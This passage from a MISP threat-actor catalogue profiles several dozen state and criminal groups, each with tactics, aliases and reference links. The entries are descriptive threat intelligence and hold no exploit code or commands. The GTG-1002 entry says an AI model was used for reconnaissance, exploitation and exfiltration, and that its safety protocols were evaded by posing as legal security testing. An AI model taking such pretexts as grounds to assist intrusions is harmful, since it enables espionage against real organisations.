The tag is: *misp-galaxy:threat-actor="Hive0117"*

Table 18944. Table References

Links
https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/

UTA0355

UTA0355 is a Russian threat actor that conducts phishing campaigns targeting individuals and organizations associated with Ukraine. The actor initiates contact via email, inviting targets to a video conference, and follows up through Signal or WhatsApp to enhance legitimacy. After establishing communication, UTA0355 prompts victims to log in via a malicious M365 URL, subsequently requesting approval for a 2FA authentication to access email data. Volexity assesses with high confidence that UTA0355 successfully registered devices and downloaded email data from compromised accounts.

The tag is: *misp-galaxy:threat-actor="UTA0355"*

Table 18945. Table References

Links
https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/

UTA0352

UTA0352 is a Russian threat actor attributed to phishing campaigns that exploit Microsoft OAuth 2.0 authentication workflows, often impersonating government officials to lure targets into providing sensitive information. The actor has been observed using malicious URLs disguised as legitimate services, such as a Romanian government authentication system. UTA0352 has also targeted Microsoft Teams and employed social engineering tactics via messaging platforms like Signal and WhatsApp. Volexity assesses with medium confidence that UTA0352 is involved in operations themed around Ukraine, targeting individuals and organizations historically associated with Russian threat activities.

The tag is: *misp-galaxy:threat-actor="UTA0352"*

Table 18946. Table References

Links
https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/

Void Blizzard

Void Blizzard's cyberespionage operations tend to be highly targeted at specific organizations of interest to the Russian government, including in government, defense, transportation, media, non-governmental organizations (NGOs), and healthcare sectors primarily in Europe and North America. The threat actor uses stolen credentials—which are likely procured from commodity infostealer ecosystems—and collects a high volume of email and files from compromised organizations.

The tag is: *misp-galaxy:threat-actor="Void Blizzard"*

Void Blizzard is also known as:

- LAUNDRY BEAR
- UAC-0190

Table 18947. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
https://www.aivd.nl/actueel/nieuws/2025/05/27/onbekende-russische-groep-achter-hacks-nederlandse-doelen
https://cert.gov.ua/article/6286942

Patched Lightning

The tag is: *misp-galaxy:threat-actor="Patched Lightning"*

Patched Lightning is also known as:

- Storm-0113

NightEagle

NightEagle is an advanced Threat Actor that targeted China's High-Tech Industry and Military Organisation, leveraging sophisticated techniques, 0 days, and specialized detection avoiding malware. The threat actor seems to have access to significant funding, with dedicated infrastructure, and focuses on low-noise, low-impact intelligence gathering operations. NightEagle is identified as a North-American, state-sponsored or affiliated group that has been active since at least 2023.

The tag is: *misp-galaxy:threat-actor="NightEagle"*

NightEagle is also known as:

- APT-Q-95

Table 18948. Table References

Links
https://www.authentic8.com/blog/cyber-intel-brief-nighteagle-apt-ai-deepfakes-spnego-flaw
https://thehackernews.com/2025/07/nighteagle-apt-exploits-microsoft.html
https://cybersecuritynews.com/nighteagle-apt-exploiting-0-days/

UNC6395

The actor systematically exported large volumes of data from numerous corporate Salesforce instances. GTIG assesses the primary intent of the threat actor is to harvest credentials. After the data was exfiltrated, the actor searched through the data to look for secrets that could be potentially used to compromise victim environments. GTIG observed UNC6395 targeting sensitive credentials such as Amazon Web Services (AWS) access keys (AKIA), passwords, and Snowflake-related access tokens. UNC6395 demonstrated operational security awareness by deleting query jobs, however logs were not impacted and organizations should still review relevant logs for evidence of data exposure.

The tag is: *misp-galaxy:threat-actor="UNC6395"*

Table 18949. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift

UNK_FistBump

Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor. Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.

The tag is: *misp-galaxy:threat-actor="UNK_FistBump"*

Table 18950. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting

UNK_DropPitch

Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor. Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.

The tag is: *misp-galaxy:threat-actor="UNK_DropPitch"*

Table 18951. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting

UNK_SparkyCarp

Between March and June 2025, Proofpoint identified multiple China-aligned threat actors specifically targeting Taiwanese organizations within the semiconductor industry. This included a China-aligned threat actor tracked as UNK_FistBump targeting semiconductor design, manufacturing, and supply chain organizations in employment-themed phishing campaigns resulting in the delivery of Cobalt Strike or the custom Voldemort backdoor. Additionally, Proofpoint observed another China-aligned threat actor tracked as UNK_DropPitch targeting individuals in multiple major investment firms who specialize in investment analysis specifically within the Taiwanese semiconductor industry. This UNK_DropPitch targeting is exemplary of intelligence collection priorities spanning less obvious areas of the semiconductor ecosystem beyond just design and manufacturing entities. Finally, we also observed an actor tracked as UNK_SparkyCarp conducting credential phishing activity against a Taiwanese semiconductor company using a custom Adversary in the Middle (AiTM) phishing kit.

The tag is: *misp-galaxy:threat-actor="UNK_SparkyCarp"*

Table 18952. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting

Crimson Collective

The Crimson Collective is a cybercrime group that claimed to have compromised Red Hat's private GitHub repositories in September 2025. The group asserted it had stolen 570GB of data from Red Hat's private GitHub repositories, including 28,000 projects and approximately 800 Customer Engagement Reports (CERs) containing sensitive network data. CERs often contain sensitive information including infrastructure details, configurations, and tokens that attackers could exploit to target customers' networks. The group shared proof of the breach on a Telegram channel, including a full file tree, CER list, and screenshots. The U.S.-based multinational software company confirmed the data breach but did not verify the Crimson Collective's claims. The group also claimed to have gained access to some of Red Hat's client infrastructure and stated they had warned the company but were ignored.

The tag is: *misp-galaxy:threat-actor="Crimson Collective"*

Table 18953. Table References

Links
https://cybersecuritynews.com/red-hat-data-breach/
https://www.techzine.eu/news/security/135120/red-hat-hit-by-github-breach-570gb-stolen-including-client-info/
https://securityaffairs.com/182866/data-breach/cybercrime-group-claims-to-have-breached-red-hat-s-private-github-repositories.html

TheWizards

TheWizards is a China-aligned APT group that employs the Spellbinder tool for adversary-in-the-middle attacks, utilizing IPv6 SLAAC spoofing to redirect legitimate software updates to malicious servers. They have developed the WizardNet backdoor for Windows and serve DarkNights to Android applications, indicating a connection to Dianke Network Security Technology. The group targets individuals and companies in the Philippines, Cambodia, the UAE, mainland China, and Hong Kong. ESET has observed their infrastructure and tools, including the acquisition of servers for hosting C&C and malicious updates.

The tag is: *misp-galaxy:threat-actor="TheWizards"*

Table 18954. Table References

Links
https://www.welivesecurity.com/en/eset-research/thewizards-apt-group-slaac-spoofing-adversary-in-the-middle-attacks/
https://www.welivesecurity.com/en/eset-research/nspx30-sophisticated-aitm-enabled-implant-evolving-since-2005/

CL-STA-0048

CL-STA-0048 is a Chinese state-backed APT that targets strategic sectors in South Asia, particularly government and telecommunications entities, with a focus on espionage. The group has been linked to SAP NetWeaver intrusions and employs techniques such as DNS beaconing using ping commands and exploiting unpatched vulnerabilities in services like IIS, Apache Tomcat, and MSSQL. Analysts have observed its use of reverse shell commands and command-and-control traffic directed to specific IP addresses. The actor adapts its methods to evade detection and maintain persistent access to high-value networks.

The tag is: *misp-galaxy:threat-actor="CL-STA-0048"*

CL-STA-0048 is also known as:

- CL STA 0048

Table 18955. Table References

Links
https://unit42.paloaltonetworks.com/espionage-campaign-targets-south-asian-entities/
https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures

Curly COMrades

Curly COMrades is a threat actor identified by Amazon Threat Intelligence and Bitdefender, believed to operate in support of Russian interests. They employ techniques such as Hyper-V abuse for EDR evasion and utilize proxy tools like Resocks, SSH, and Stunnel to gain access to internal networks. Their activities include repeated attempts to extract the NTDS database from domain controllers and establishing covert access through virtualization features on compromised Windows 10 machines.

The tag is: *misp-galaxy:threat-actor="Curly COMrades"*

Table 18956. Table References

Links
https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines
https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-new-threat-actor-targeting-geopolitical-hotbeds

Houken

Houken is a Chinese state-sponsored threat actor that exploits zero-day vulnerabilities in Ivanti Cloud Services Appliance devices to gain initial access to critical infrastructure networks, particularly in France. The group employs a sophisticated rootkit alongside open-source tools,

primarily developed by Chinese-speaking authors, to maintain persistence and control over compromised systems. Houken is suspected to operate as an initial access broker, selling footholds in targeted networks to other threat actors for further exploitation.

The tag is: *misp-galaxy:threat-actor="Houken"*

Table 18957. Table References

Links
https://www.cert.ssi.gouv.fr/cti/CERTFR-2025-CTI-009/
https://meterpreter.org/anssi-exposes-houken-china-linked-apt-exploiting-ivanti-csa-zero-days-deploying-linux-rootkits/

Larva-24010

The Larva-24010 threat actor is distributing malware through the website of a Korean VPN service provider. As a result, when a user downloads and runs the installer from the VPN website, malware can be installed on the system. Since at least 2023, the Larva-24010 threat actor has been targeting Korean VPN users to spread malware, ultimately installing various backdoors such as MeshAgent, gs-netcat, and NKNShell. Through this, the attacker can control infected systems where the VPN is installed and steal sensitive information stored on those systems.

The tag is: *misp-galaxy:threat-actor="Larva-24010"*

Table 18958. Table References

Links
https://asec.ahnlab.com/en/91139/

Earth Lamia

Earth Lamia is a China-nexus APT that targets organizations across multiple sectors, including finance, logistics, and government, primarily in Latin America, the Middle East, and Southeast Asia. The actor exploits web application vulnerabilities, such as CVE-2025-55182, and employs techniques like SQL injection, DLL sideloading, and the deployment of custom backdoors like PULSEPACK and BypassBoss. Earth Lamia conducts reconnaissance, file operations, and credential theft, often utilizing tools like Cobalt Strike and VShell.

The tag is: *misp-galaxy:threat-actor="Earth Lamia"*

Earth Lamia is also known as:

- UNC5454

Table 18959. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182

https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html

LongNosedGoblin

LongNosedGoblin is a China-aligned APT group targeting governmental entities in Southeast Asia and Japan for cyberespionage. The group employs Group Policy for malware deployment and utilizes cloud services like Microsoft OneDrive and Google Drive as C&C servers. Their operations feature a modular malware ecosystem, including backdoors, browser data stealers, and PowerShell-based downloaders that execute multi-stage payloads in memory. LongNosedGoblin's tactics emphasize reconnaissance-driven targeting and the abuse of trusted enterprise mechanisms, allowing for stealthy persistence within compromised networks.

The tag is: *misp-galaxy:threat-actor="LongNosedGoblin"*

Table 18960. Table References

Links
https://botcrawl.com/chinese-apt-longnosedgoblin-targets-government-networks-in-southeast-asia-and-japan/

UAT-9686

UAT-9686 is a Chinese state-sponsored APT known for targeting networking infrastructure and edge appliances through a sophisticated espionage campaign. They exploit a critical flaw in the Cisco AsyncOS Spam Quarantine interface to gain root access and deploy custom malware, including AquaShell, along with Python scripts that execute natively. Their operations involve reverse tunneling and log purging, demonstrating a methodical approach to compromising communication infrastructure. Talos has observed overlaps in TTPs and tooling with other Chinese-nexus threat actors, indicating a consistent operational pattern.

The tag is: *misp-galaxy:threat-actor="UAT-9686"*

Table 18961. Table References

Links
https://www.secpod.com/blog/zero-day-crisis-cve-2025-20393-unpatched-on-cisco-email-gateways-exploited-by-china-linked-hackers/
https://blog.talosintelligence.com/uat-9686/

ShadyPanda

ShadyPanda is a threat actor behind a 7-year campaign that has infected 4.3 million users through extensions masquerading as productivity tools while functioning as comprehensive spyware. Their tactics include data exfiltration, user surveillance, and systematic collection of corporate meeting intelligence from over 28 video conferencing platforms. Notably, the WeTab extension exemplifies their capabilities, collecting full browsing history and personal data, exfiltrating to 17 different domains. The actor employs steganography to hide malicious code within PNG files and maintains

persistent access through shared infrastructure across their extensions.

The tag is: *misp-galaxy:threat-actor="ShadyPanda"*

Table 18962. Table References

Links
https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers
https://www.koi.ai/blog/4-million-browsers-infected-inside-shadypanda-7-year-malware-campaign

Water Saci

Water Saci is a sophisticated cyber threat actor operating in Brazil, utilizing a multi-format attack chain that includes HTA files, ZIP archives, and PDFs to bypass security measures. The campaign employs an email-based C&C infrastructure using IMAP connections to terra.com.br accounts, enhancing its resilience and evasion tactics. It leverages social engineering through WhatsApp to propagate malware, specifically the SORVEPOTEL banking trojan, and incorporates advanced techniques for infection and persistence. The modular architecture of the malware allows for dynamic adaptation and extraction of sensitive credentials, indicating a significant evolution in adversarial capabilities.

The tag is: *misp-galaxy:threat-actor="Water Saci"*

Table 18963. Table References

Links
https://www.trendmicro.com/en_us/research/25/j/active-water-saci-campaign-whatsapp-update.html
https://www.trendmicro.com/en_us/research/25/l/water-saci.html

UNC6032

UNC6032 is a threat actor that weaponizes interest in AI tools, specifically targeting users with fake "AI video generator" websites to distribute malware, including Python-based infostealers and backdoors. Victims are typically directed to these sites through malicious social media ads that impersonate legitimate tools. Compromises have led to the exfiltration of sensitive data, including login credentials and credit card information, via the Telegram API. Google Threat Intelligence Group assesses UNC6032 to have a Vietnam nexus.

The tag is: *misp-galaxy:threat-actor="UNC6032"*

Table 18964. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites

UNC6293

UNC6293 is a Russian state-sponsored threat actor identified by Google's Threat Intelligence Group (GTIG), which associates them with APT29 with low confidence. They have conducted campaigns utilizing social engineering tactics, including leveraging App-Specific Passwords for account compromises. GTIG has also noted a second campaign by UNC6293 that incorporates Ukrainian themes.

The tag is: *misp-galaxy:threat-actor="UNC6293"*

Table 18965. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/creative-phishing-academics-critics-of-russia

UNC4487

UNC4487 is a threat actor that targeted Ukrainian government officials by compromising a Ukrainian auto insurance website essential for official travel. This attack facilitated the distribution of the MATANBUCHUS malware, which was used to monetize access to infected systems. Mandiant later identified additional malware samples, referred to as ChillyHell, linked to UNC4487 through the reuse of a code signing certificate associated with MATANBUCHUS. The group's activities highlight a focus on exploiting critical infrastructure for financial gain.

The tag is: *misp-galaxy:threat-actor="UNC4487"*

Table 18966. Table References

Links
https://www.jamf.com/blog/chillyhell-a-modular-macos-backdoor/

UNC6148

UNC6148 is a financially motivated threat actor that targets SonicWall Secure Mobile Access 100 series appliances, leveraging stolen credentials and possibly zero-day exploits to deploy a persistent backdoor known as OVERSTEP. They utilize a kernel-level rootkit for stealthy access and have been observed establishing SSL VPN sessions to launch reverse shells and manipulate system files. The actor's operations include credential theft, data exfiltration, and potential ransomware deployment, with evidence suggesting they modify legitimate scripts to maintain persistence. Their activities are characterized by the reuse of OTP seeds and admin credentials, allowing continued access even after security patches are applied.

The tag is: *misp-galaxy:threat-actor="UNC6148"*

Table 18967. Table References

Links

https://cloud.google.com/blog/topics/threat-intelligence/sonicwall-secure-mobile-access-exploitation-overstep-backdoor/

UNC5342

UNC5342 is a North Korea-linked APT that employs the EtherHiding technique to deliver malware and facilitate cryptocurrency theft. The actor has been observed deploying EtherRAT and JADESNOW malware, utilizing transaction history as a Dead Drop Resolver to embed payloads directly into the calldata of blockchain transactions. Their operations involve leveraging centralized API services to interact with public blockchains like Ethereum and BNB Smart Chain. The malware is designed to exfiltrate sensitive data, particularly targeting cryptocurrency wallets and credentials.

The tag is: *misp-galaxy:threat-actor="UNC5342"*

Table 18968. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding

UNC6485

UNC6485 is a cyber-espionage group exploiting CVE-2025-12480 in Gladinet's Triofox file-sharing platform to gain initial network access and establish long-term persistence. They create unauthorized administrative accounts and deploy RATs, utilizing legitimate tools like Zoho Assist and AnyDesk to evade detection. Their TTPs indicate a sophisticated understanding of the platform, allowing them to blend malicious activities with legitimate administrative actions.

The tag is: *misp-galaxy:threat-actor="UNC6485"*

Table 18969. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/triofox-vulnerability-cve-2025-12480

UNC6384

UNC6384 is a Chinese-affiliated APT that conducts targeted espionage campaigns primarily against diplomatic entities in Southeast Asia and Europe, specifically Belgium and Hungary. The group exploits the ZDI-CAN-25373 Windows shortcut vulnerability to gain initial code execution via malicious .LNK files, deploying the PlugX RAT through sophisticated delivery mechanisms, including DLL side-loading and adversary-in-the-middle attacks. Their operations involve social engineering tactics, such as spear-phishing emails themed around diplomatic events, to entice victims into executing malicious payloads. UNC6384's use of valid code signing and HTTPS hosting enhances their evasion of detection and increases the likelihood of user interaction.

The tag is: *misp-galaxy:threat-actor="UNC6384"*

Table 18970. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats/

UNC6040

UNC6040 is a financially motivated threat cluster that employs vishing to gain access to organizations' Salesforce environments, facilitating large-scale data exfiltration. The group manipulates end users into authorizing malicious connected apps, often masquerading as IT support personnel, to exploit OAuth permissions. Following initial access, UNC6040 leverages harvested credentials to move laterally within victim networks, targeting other cloud platforms like Okta and Microsoft 365. Their operations are characterized by the use of Mullvad VPN IP addresses and a focus on social engineering tactics to bypass security measures.

The tag is: *misp-galaxy:threat-actor="UNC6040"*

Table 18971. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/voice-phishing-data-extortion
https://cloud.google.com/blog/topics/threat-intelligence/technical-analysis-vishing-threats/
https://www.varonis.com/blog/salesforce-vishing-threat-unc604

Educated Manticore

Educated Manticore is an Iranian APT group aligned with the Islamic Revolutionary Guard Corps, primarily engaged in espionage targeting government, military, and academic sectors. The group employs spear-phishing tactics, utilizing custom backdoors like POWERLESS and phishing kits designed as SPAs to harvest credentials. Their operations have included impersonating credible figures to lure victims and using ISO images to initiate infection chains. Educated Manticore’s activities are characterized by rapid domain setup and aggressive spear-phishing campaigns, particularly against Israeli individuals.

The tag is: *misp-galaxy:threat-actor="Educated Manticore"*

Table 18972. Table References

Links
https://research.checkpoint.com/2025/iranian-educated-manticore-targets-leading-tech-academics
https://blog.checkpoint.com/security/check-point-research-uncovers-rare-techniques-used-by-iranian-affiliated-threat-actor-targeting-israeli-entities/
https://research.checkpoint.com/2023/educated-manticore-iran-aligned-threat-actor-targeting-israel-via-improved-arsenal-of-tools/

UnsolicitedBooker

UnsolicitedBooker is a China-aligned APT group known for its persistent targeting of an unnamed international organization in Saudi Arabia, employing a backdoor called MarsSnake. The group utilizes spear-phishing emails, often featuring flight tickets as decoys, to infiltrate governmental organizations across Asia, Africa, and the Middle East. Their operations have included multiple intrusion attempts over several years, demonstrating a sustained interest in their target. MarsSnake provides significant control over infected machines, allowing for arbitrary command execution and file access.

The tag is: *misp-galaxy:threat-actor="UnsolicitedBooker"*

Table 18973. Table References

Links
https://www.welivesecurity.com/en/podcasts/eset-apt-activity-report-q4-2024q1-2025-malware-sharing-wipers-exploits/

Larva-25012

Larva-25012 is a threat actor known for deploying Proxyware, utilizing malware disguised as a Notepad++ installer. The actor injects Proxyware into the Windows Explorer process and employs Python-based loaders to evade detection. They distribute Proxyware installers primarily through advertisements on websites offering free YouTube video downloads and fake sites for cracked software. Larva-25012 has been active since at least 2024, distributing multiple types of Proxyware, including DigitalPulse, Honeygain, and Infatica.

The tag is: *misp-galaxy:threat-actor="Larva-25012"*

Table 18974. Table References

Links
https://asec.ahnlab.com/en/92183/

WARP PANDA

WARP PANDA is a China-nexus APT that targets VMware vCenter environments and Microsoft Azure infrastructures, primarily focusing on legal, technology, and manufacturing sectors in the U.S. The group exploits internet-facing edge devices for initial access, later pivoting to vCenter environments using compromised credentials or vulnerabilities. Their toolkit includes the BRICKSTORM backdoor, along with implants like Junction and GuestConduit, which facilitate command execution and network traffic tunneling. WARP PANDA demonstrates advanced OPSEC and aims for long-term persistence and data exfiltration aligned with the interests of the People’s Republic of China.

The tag is: *misp-galaxy:threat-actor="WARP PANDA"*

Table 18975. Table References

Links
https://www.crowdstrike.com/en-us/blog/warp-panda-cloud-threats/

DarkGaboon

DarkGaboon is a financially motivated APT group that has been independently targeting Russian organizations since May 2023, primarily using phishing emails to deliver malware such as Revenge RAT and LockBit 3.0 ransomware. Their operations demonstrate advanced operational security practices, including the use of homoglyphs in file names and decoy documents sourced from legitimate Russian templates to evade detection. The group has shown a disciplined approach to updating their toolkit, with 369 unique files identified, and employs command-and-control infrastructure located outside Russia. DarkGaboon's linguistic proficiency in Russian suggests a deep understanding of the local context, enhancing the effectiveness of their phishing lures.

The tag is: *misp-galaxy:threat-actor="DarkGaboon"*

DarkGaboon is also known as:

- Vengeful Wolf
- room155

Table 18976. Table References

Links
https://therecord.media/new-hacker-group-lockbit-target-russia
https://cybershafarat.com/2025/01/22/darkgaboon-targets-russian-finserv/

GTG-1002

GTG-1002 is a Chinese state-sponsored APT that conducted a large-scale autonomous cyber espionage campaign targeting approximately 30 global organizations across various sectors, focusing on military and energy-related data. The operation utilized AI, specifically Anthropic's Claude model, for reconnaissance, exploitation, and data exfiltration, significantly reducing human involvement. Attackers employed techniques such as automated task execution and evasion of safety protocols by masquerading as legal security testing. The campaign lasted 18 months and highlighted vulnerabilities in traditional incident response workflows.

The tag is: *misp-galaxy:threat-actor="GTG-1002"*

Table 18977. Table References

Links
https://assets.anthropic.com/m/ec212e6566a0d47/original/Disrupting-the-first-reported-AI-orchestrated-cyber-espionage-campaign.pdf
https://socradar.io/blog/ai-powered-gtg-1002-campaign/

DragonBreath

Golden Eye Dog targets Chinese-speaking users engaged in online gambling, employing techniques such as SERP poisoning, social engineering, and DDoS attacks. The group utilizes trojanized NSIS installers to deliver RONINGLOADER, which executes complex process-injection workflows and deploys a modified Gh0st RAT for espionage. Their operations have included DLL sideloading and the use of watering hole websites to implant Trojans. The group is noted for its high anti-detection capabilities and has been associated with various malware development languages.

The tag is: *misp-galaxy:threat-actor="DragonBreath"*

DragonBreath is also known as:

- Golden Eye Dog
- APT-Q-27,

Table 18978. Table References

Links
https://www.sophos.com/fr-fr/blog/doubled-dll-sideloading-dragon-breath

PoisonSeed

PoisonSeed is a threat actor employing an MFA-resistant phishing kit to acquire credentials from individuals and organizations, primarily targeting email infrastructure for cryptocurrency-related spam. They utilize spear-phishing emails with malicious links, automate bulk downloading of email lists, and capture authentication cookies to bypass MFA. PoisonSeed has been linked to campaigns that exploit cross-device sign-in features and employ tactics such as cryptocurrency seed phrase poisoning. Their infrastructure includes domains registered through NICENIC and hosted on Cloudflare, with a focus on phishing CRM and bulk email provider credentials.

The tag is: *misp-galaxy:threat-actor="PoisonSeed"*

Table 18979. Table References

Links
https://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/
https://www.silentpush.com/blog/poisonseed/

Storm-2657

Storm-2657 is a financially motivated threat actor targeting US-based organizations, particularly in higher education, to compromise employee accounts and redirect salary payments to attacker-controlled accounts. They employ tactics such as creating inbox rules to delete warning notifications from HR platforms like Workday and using phishing emails that impersonate legitimate university communications to gain access. The actor modifies employee salary payment configurations to facilitate financial theft. Mitigation efforts include implementing phishing-

resistant MFA methods to secure user identities against such attacks.

The tag is: *misp-galaxy:threat-actor="Storm-2657"*

Table 18980. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/10/09/investigating-targeted-payroll-pirate-attacks-affecting-us-universities/

GhostRedirector

GhostRedirector is a China-aligned threat actor that has compromised at least 65 Windows servers across various sectors, primarily in Brazil, Thailand, and Vietnam. It employs a passive C++ backdoor named Rungan and a malicious IIS module called Gamshen to maintain persistent access and manipulate search engine results for SEO fraud. The actor utilizes public exploits like EfsPotato and BadPotato for privilege escalation and abuses code-signing certificates to evade detection. GhostRedirector's operations involve installing remote access tools, creating rogue administrator accounts, and leveraging SQL injection vulnerabilities to execute PowerShell for downloading malicious payloads.

The tag is: *misp-galaxy:threat-actor="GhostRedirector"*

Table 18981. Table References

Links
https://www.welivesecurity.com/en/eset-research/ghostredirector-poisons-windows-servers-backdoors-side-potatoes/

UAC-0227

UAC-0227 is an APT group that has been active since at least March 2025, targeting local governments, critical infrastructure, and various organizations in the European Union. The group employs phishing campaigns that utilize SVG file attachments to distribute stealers like Amatera Stealer and Strela Stealer. Their tactics include leveraging ClickFix-style methods to implement their threats.

The tag is: *misp-galaxy:threat-actor="UAC-0227"*

Table 18982. Table References

Links
https://cip.gov.ua/ua/news/novi-kiberzagrozi-kogo-i-yak-atakuyut-vorozhi-ugrupovannya
https://securityaffairs.com/183222/apt/ukraine-sees-surge-in-ai-powered-cyberattacks-by-russia-linked-threat-actors.html

UTA0388

UTA0388 is a China-aligned APT known for spear-phishing campaigns targeting organizations in North America, Asia, and Europe, primarily to deliver a Go-based implant called GOVERSHELL. The group employs "rapport-building phishing" tactics, engaging targets in benign conversations before sending malicious links, and has been linked to the use of Large Language Models for crafting phishing emails in multiple languages. Technical analysis indicates that UTA0388 operates in the interests of the Chinese state, with a focus on Asian geopolitical issues, as evidenced by the use of Simplified Chinese in its development environment. Volexity assesses that UTA0388's operations reflect a sophisticated blend of traditional phishing techniques and modern automation.

The tag is: *misp-galaxy:threat-actor="UTA0388"*

Table 18983. Table References

Links
https://www.volexity.com/blog/2025/10/08/apt-meets-gpt-targeted-operations-with-untamed-llms/

BatShadow

BatShadow is a Vietnamese threat actor that targets job seekers and digital marketing professionals through social engineering campaigns, deploying the Go-based malware known as Vampire Bot. The group impersonates recruiters and distributes malicious job descriptions and corporate PDFs, triggering a multi-stage infection chain that enables remote surveillance and data theft. Analysts have linked BatShadow to Vietnam based on infrastructure reuse and targeting patterns, noting its history of using domains like samsung-work.com to distribute various malware families, including Agent Tesla and Quasar RAT. The actor employs techniques such as filename tricks and coercive browser actions to evade detection and increase the likelihood of successful compromises.

The tag is: *misp-galaxy:threat-actor="BatShadow"*

Table 18984. Table References

Links
https://www.aryaka.com/blog/batshade-vampire-bot-social-engineering-malware/

Water Bakunawa

Water Bakunawa is a cybercriminal group identified by Trend Micro, responsible for the RansomHub ransomware, which exploits the Zerologon vulnerability to gain unauthorized network access. The group employs EDRKillShifter to evade detection and disrupt security monitoring processes, utilizing advanced anti-EDR techniques. Their targets include sectors such as water and wastewater, IT, healthcare, and financial services. Members of the group and related affiliates have linked by association with other high-profile RaaS groups like Scattered Spider and ALPHV.

The tag is: *misp-galaxy:threat-actor="Water Bakunawa"*

Table 18985. Table References

Links
https://www.trendmicro.com/en_us/research/24/i/how-ransomhub-ransomware-uses-edrkillshifter-to-disable-edr-and-.html

UAT-8837

UAT-8837 is a sophisticated China-linked APT group exploiting critical zero-day vulnerabilities, such as CVE-2025-53690 in the Sitecore platform, to achieve remote code execution and deploy the WeepSteel backdoor for espionage and data exfiltration. The group targets high-value enterprise and government sectors, focusing on public-facing applications to gain initial access and conducting stealthy reconnaissance. UAT-8837 employs techniques like privilege escalation by creating administrative accounts and is linked to targeted intrusions aimed at credential harvesting and internal reconnaissance.

The tag is: *misp-galaxy:threat-actor="UAT-8837"*

Table 18986. Table References

Links
https://blog.talosintelligence.com/uat-8837/

UAC-0239

UAC-0239 has been observed conducting spearphishing attacks targeting the Defence Forces and local state agencies of Ukraine, impersonating the Security Service of Ukraine. The group employs the OrcaC2 framework and FILEMESS stealer to compromise these organizations. Their campaigns often utilize themes related to "countering russian sabotage-reconnaissance groups" to disguise their malicious intent.

The tag is: *misp-galaxy:threat-actor="UAC-0239"*

Table 18987. Table References

Links
https://cip.gov.ua/en/news/zlovmisniki-atakuyut-sili-oboroni-ukrayini-ta-organi-miscevogo-samovryaduvannya-vikoristovuyuchi-temu-protidiyi-rosiiskim-drg

Kazu

Kazu is a financially motivated ransomware group known for employing a double extortion model, targeting sectors such as healthcare and government. The group has claimed responsibility for multiple high-profile breaches, including those of Manage My Health and the Defensoría del Pueblo de Colombia, exfiltrating sensitive data through techniques like exploiting unpatched vulnerabilities and credential reuse. Kazu has demanded ransoms ranging from $60,000 to $500,000, threatening public disclosure of stolen data if payments are not made. Their operations have primarily focused on entities in Latin America, Asia, and the Middle East, with a notable presence on dark web leak sites.

The tag is: *misp-galaxy:threat-actor="Kazu"*

Table 18988. Table References

Links
https://www.cyfirma.com/research/cyber-threat-landscape-report-united-arab-emirates-uae/
https://botcrawl.com/national-civil-service-commission-of-colombia-data-breach/
https://www.hipaajournal.com/doctor-alliance-data-breach-claim/
https://databreaches.net/2025/11/18/from-bad-to-worse-doctor-alliance-hacked-again-by-same-threat-actor/
https://botcrawl.com/saudi-icon-data-breach/

DarkSpectre

The tag is: *misp-galaxy:threat-actor="DarkSpectre"*

Table 18989. Table References

Links
https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers

UNC1069

